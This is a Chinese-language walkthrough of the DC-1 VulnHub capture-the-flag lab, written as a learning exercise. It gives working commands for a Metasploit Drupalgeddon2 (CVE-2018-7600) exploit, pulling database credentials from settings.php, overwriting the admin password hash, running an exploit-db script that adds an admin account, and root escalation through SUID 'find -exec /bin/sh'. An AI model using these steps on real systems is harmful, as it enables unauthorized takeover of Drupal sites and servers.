一、靶机说明

1、下载链接

  靶场镜像:链接: https://www.vulnhub.com/entry/dc-1-1,292/

2、靶机准备

(1)重置靶场密码

  重启主机,长按shift,进入如下界面后,按e

image-20211210214045971

  找到linux开头的行,在最后输入 init=/bin/bash,输入完成后按Crtl+X

image-20211210214117094

  mount -o rw,remount /,回车

   passwd root,输入新密码两次

img

  如果提示改变密码成功,重启该虚拟机

(2)查看IP

  使用刚才修改的密码进入靶场主机,输入ip a,查看IP地址

image-20211210214232920

二、预备知识

  Drupal:Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

  注入原理:Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

三、信息收集

1、探测主机IP

  可以使用以下两种方法:arp-scan和netdiscover

(1)arp-scan

  使用arp-scan探索靶机IP,发现IP地址为192.168.1.108

arp-scan -l

image-20211210214320940

(2)netdiscover

  使用以下命令查看Kali本机IP为192.168.1.108

ip a

image-20211210214552976

  使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机

netdiscover -r 192.168.1.1/24

image-20211210214537191

2、开放端口与服务扫描

  使用nmap对IP进行扫描:

nmap -sV 192.168.1.108

  可以看到开放了HTTP和SSH

image-20211210214433486

  发现是Drupal的cms框架的登录页面

image-20211210214617440

四、漏洞探测与利用

1、漏洞探测

  首先弱口令登录,扫端口、扫后台都没什么较大的收获。于是将目标盯在了Drupal这个cms框架上面了,发现这个cms有一个注入getshell的漏洞(CVE-2018-7600),并且metasploit中已有攻击模块,可以直接利用。

  打开msf,查找drupal武器库

msfconsole
search drupal

  这里可以根据需求选择,我选择比较新的2018年的攻击模块

image-20211210215043543

2、漏洞利用

(1)反弹shell

use /exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.108

image-20211210215552055

  使用python反弹一个交互式shell TTY,美化终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20211210215753754

(2)flag1

  查看当前目录,看有无可以利用的信息文件,其他目录信息如下。发现了第一个flag1文件,查看flag1文件。

image-20211210220036438

(3)flag2

  通过flag1的提示,告知我们cms的配置文件很重要,暗藏敏感文件。所以我们需要查看目录下的其他文件来获取信息。

  1. 首先我们百度搜索drupal有哪些重要的配置文件及重要文件的默认路径 ,挑选重点下手能节省时间。

image-20211210220840422

  1. drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。我们去查看这个文件有大收获,我们发现了flag2内容,以及数据库的账户和密码

image-20211210221634133

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

(4)数据库相关信息获取

  首先我们通过flag2得到了数据库为mysql数据库,并且数据库名、账号和密码都有了,肯定是要进入数据库看有无所需信息的。如系统管理员账户信息

mysql -udbuser -pR0ck3t

image-20211210222335371

  Drupal框架默认的用户表就是users表,查询users表中,系统管理员admin的账户信息

show databases;
use drupaldb
show tables;
select * from users;

image-20211210222519860

$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

  发现admin账号和经过加密的密码,drupal常用密码加密是MD5格式,但是7.0以后因为安全性问题将加密方式改成了hash加密(由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。)。

  这里不是md5加密,应该是自定义的加密方式。flag2中给的提示暴力破解不是唯一的方法我们得想一下其他的办法。

(5)数据库admin管理员密码修改及获取flag3

  我们想办法的同时也可以百度向开发人员询问答案,查找drupal7忘记密码怎么办?drupal7如何重置密码?drupal7如何修改密码?这些问题让我们拿到admin这个管理员账户。

  1. drupal7重置admin用户的密码

image-20211210223623002

php scripts/password-hash.sh 123456

  这样就能获取加密后的密码

image-20211210225407251

  进入数据库,修改admin的密码(密文)

mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass="$S$DFrLnFFXTGFCqK75zqX7nXsNI271QDS5pDN7uIOgcguQK81Fj1LI" where name="admin";

image-20211210225458368

  1. 登录成功

image-20211210225053466

image-20211210225523769

(7)更隐蔽方式,添加新管理员账户获取flag3

  exploit-db(漏洞利用库):kali中已经内置,默认路径为:/pentest/exploits/exploitdb。可以使用searchsploit命令来搜索exp进行利用。

  在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

  1. 查看Drupal版本,确定Drupal版本为7.24
cat /var/www/includes/bootstrap.inc | grep VERSION

image-20211210225806246

  1. 使用searchsploit查找可利用漏洞。选择添加管理员功能的攻击脚本适用于7.0-7.31范围(每个脚本括号后面有功能描述),符合7.24版本。
searchsploit drupal

image-20211210225927090

  1. 利用drupal7.0版本漏洞增加有admin权限的用户
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.43.62 -u w01ke -p w01ke
后面靶机出了点问题,靶机ip换成了192.168.43.62

  新增的管理员用户如下

image-20211210230538034

  使用新添加的用户w01ke登录网站,在content模块下找到flag3。

image-20211210230701756

image-20211210230747456

Congratulations!
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

恭喜你!
特殊的PERMS可以帮助找到密码-但您需要-exec该命令,以确定如何获取在shadow文件中的内容

很明显的提示:find+perms+exec 命令用来提权

五、提权

  根据flag3的提示提权,我们尝试查看用户列表信息(包含用户权限信息),这些用户信息一般存储在/etc/passwd目录下。

  查看用户列表,获取信息

cat /etc/passwd

image-20211210230913401

  发现了flag4这个用户,并且得到了flag4的主目录为home目录。我们切换到home目录寻找flag4相关文件

cd /home/flag4
cat flag4.txt

image-20211210231011382

flag4提示内容:
提示最后flag in root下面。

  其实也可以直接用find命令查找flag4这个关键字,也能爆出flag4文件的路径。主要看个人思路

img

find / -name "flag4
cd /home/flag4
cat flag4.txt

  根据flag4的提示信息,最后一个flag存在于root目录下。我们可以使用find命令查找root目录下相关文件信息。

  1. 使用find命令查看与/root目录有关的文件信息
find /root

find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。

find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录

image-20211210231236305

  发现flag文件存在于/root目录下,尝试打开它,发现没有权限,所以必须要提权才能查看最终的flag文件

image-20211210231322471

  1. 根据flag3中的提示,使用”-exec“提权,也就是find+perms+exec 命令来提权。这里有两种方法可以用,看个人想法。详细关于find提权会在另一篇文章中详解
1. find ./ acce -exec '/bin/sh' \;

2. touch bcce
find bcce -exec '/bin/sh' \;

  成功访问最后一个flag文件,游戏结束了。

image-20211210231532987

六、总结

  本次初级内网渗透靶场虽然初级,但也涉及了大量的知识点。

  1. 使用python反弹一个交互式shell
  2. 配置文件十分重要,重要的配置文件可以搜索相关系统或者框架的默认路径,能在较短时间内获取有用信息。如: drupal的/sites/default/settings.php ,是数据库连接配置文件
  3. exploit-db(漏洞利用库)真的很强大,里面很多攻击脚本。不知道为什么以前很少用,现在要加强对他的了解了。他就是metspoit的兄弟
  4. /etc/passwd:linux默认存储用户列表的文件
  5. linux suid提权相关知识,在后面的文章中再详细了解。

参考链接:https://www.cnblogs.com/kbhome/p/13296397.html